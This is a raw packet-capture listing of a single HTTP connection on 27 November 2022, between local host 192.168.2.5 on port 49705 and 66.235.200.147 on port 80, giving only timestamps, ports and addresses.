Nov 27, 2022 04:36:43.025769949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025779963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025788069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025800943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025808096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025827885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025841951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025846958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025865078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025882959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025883913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025902987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025918961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025921106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025955915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026139975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026174068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026190042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026191950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026211023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026246071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026258945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026263952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026283979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026300907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026314974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026319027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026335001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026343107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026360989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026380062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026391983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026398897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026410103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026417971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026436090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026453972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026470900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026489019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026504993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026524067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026540995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026557922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026573896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026592016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026571035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026571989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026571989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026571989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026609898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026628971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026628971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026628971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026645899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026664972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026678085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026683092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026695013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026702881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026721954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026736975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026738882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026757002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026773930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026787043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026793957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026806116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026812077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026849985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026860952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.026869059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.026921988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027136087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027169943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027188063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027206898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027228117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027247906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027225971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027266979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027285099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027304888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027323008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027339935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027362108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027379990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027398109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027410030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027410030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027410030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027410030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027410984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027417898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027437925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027457952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027477026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027497053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027515888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027534962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027555943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027565002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027565002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027565002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027565956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027575970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027595997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027614117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027631998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027651072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027669907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027688026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027707100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027725935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027728081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027728081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027728081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027728081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027745008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027760983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027765036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027785063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027802944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027820110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027837992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027837992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027841091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027861118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027879000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027899981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027905941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027928114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027934074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027947903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027966022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.027971983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027971983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.027985096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028016090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028027058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028034925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028054953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028074026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028088093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028094053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028112888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028126001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028131008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028147936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028148890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028167963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028177977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028189898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028208017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028223038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028225899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028245926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028260946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028264046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028283119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028297901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028302908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028321028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028336048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028341055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028359890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028374910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028378010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028397083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028409958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028415918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028434992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028450966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028454065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028474092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028485060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028491020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028510094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028527975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028536081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028544903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028562069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028563023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028583050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028595924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028600931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028620005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028635025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028637886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028656006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028670073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028675079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028692961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028709888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028723001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028728008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028745890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028747082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028765917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028772116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028784037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028801918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028819084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028819084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028840065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028857946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028858900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028876066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028892994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028892994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028912067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028918028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028930902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028956890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028961897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.028975010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.028992891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029005051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029011011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029030085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029048920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029057026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029068947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029077053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029093981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029112101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029128075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029129982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029144049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029150009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029161930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029170990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029187918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029206991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029207945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029227018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029234886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029247999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029266119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029278040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029284954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029304028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029323101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029341936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029349089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029361010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029376984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029378891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029392004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029398918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029417038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029433966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029433966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029452085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029467106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029470921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029489994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029505014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029510021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029527903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029541016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029546976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029565096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029582977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029593945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029601097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029616117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029620886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029639959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029654026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029658079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029675961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029690027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029694080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029712915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029726028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029731989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029750109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029761076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029768944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029788017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029797077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029807091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029824972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029841900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029855967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029861927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029875994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029880047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029900074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029917002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029927015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029934883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029954910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029954910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029979944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.029983044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.029999971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030019045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030029058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030036926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030054092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030071974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030082941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030088902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030101061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030111074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030127048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030142069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030144930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030163050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030179024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030183077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030198097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030215979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030220985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030232906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030249119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030253887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030272961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030286074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030291080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030311108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030320883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030328989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030348063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030360937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030365944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030384064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030395985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030402899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030421019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030436039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030436993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030456066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030469894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030474901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030493975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030510902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030510902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030529022 CET	80	49705	66.235.200.147	192.168.2.5
